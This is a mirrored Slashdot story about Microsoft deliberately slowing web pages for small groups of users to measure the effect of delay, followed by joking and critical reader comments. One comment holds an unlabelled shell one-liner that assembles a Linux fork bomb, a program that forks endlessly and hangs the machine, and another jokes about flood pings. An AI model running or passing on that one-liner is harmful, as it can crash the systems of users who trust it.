Slashdot Mirror
How Microsoft Degrades Their Users (In a Good Cause)
blackbearnh writes "We all know that slow Web pages drive users crazy, but where is the boundary between too slow and too simple? As Microsoft's Eric Schurman points out, the fastest-loading page of all is a blank one, but it's also the most useless. In an interview with O'Reilly Radar leading up to his appearance at the Velocity Conference, Schurman talks about his experiences working on some of Microsoft's highest-volume sites, including the home page and Live Search. In particular, he discusses how Microsoft will selectively degrade the performance of pages to small sets of users so that they can see how various amounts of delay at different times and places affect user behavior. 'In cases where we were giving what was a significantly degraded experience, the data moved to significance extremely quickly. We were able to tell when we delayed people's pages by more than half a second, and it was very obvious that this had a significant impact on users very quickly. We were able to turn off that experiment. The reasoning... was it helps us make a strong argument for how we can prioritize work on performance against work on other aspects of the site.' He also talks about what it's like to be one of the most often-targeted DDoS sites on the planet."
(Ba da BOOM! Don't forget to tip your waitress.)
It must have been something you assimilated. . . .
selectively degrade the performance of pages to small sets of users
In other words, Firefox, Opera, XP, and Linux users. And the experiment will get turned off, once they switch back to IE8 on Vista.
Thanks for the reminder, it's already been a couple of hours since my last flood ping! Now if you excuse me...
The woods are lovely, dark and deep,
But I have promises to keep,
And pings to send before I sleep,
And pings to send before you sleep.
...compared to google.
but the home page of live search is great. so i open it everyday and just watch the picture.
Wealth is the gift that keeps on giving.
if a small batch of users have to take a performance hit to improve the experience in the end for all users, isn't that a positive thing?
Didn't Jesus say "the needs of the many outweigh the needs of the few"?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If I were running a fast food restaurant one of the first things it would make sense to do is pick groups of customer to punch in the face instead of giving them their order. It's all for a good cause. We want to know just how much abuse they'll take before they go down the road to the competition. That will help us figure out how good our food is. Now did you want a fries with that burger? *PUNCH* How about a *PUNCH* drink?
See how absurd it sounds?
These posts express my own personal views, not those of my employer
You're right. You're absolutely right. Hey, that Bible sounds like kind of a good book.
a web page more useless than a blank page.
http://havenworks.com/
Thank you, and good night.
Microsoft will selectively degrade the performance of pages to small sets of users so that they can see how various amounts of delay at different times and places affect user behavior.
Why this is completely absurd. It would be like some moron deciding that people at Slashdot only read the top of the page and, rather than simply making a smaller page with a link to the rest of the information, only loading the top of the page until you try to scroll down and read more. Then suddenly things would jump around and muck up your concept of where you were on the page. The only thing that would be worse is if the put something cute or interesting at the bottom of the page to encourage you to scroll down to see it, and trigger this very undesirable behavior frequently.
I'm an American. I love this country and the freedoms that we used to have.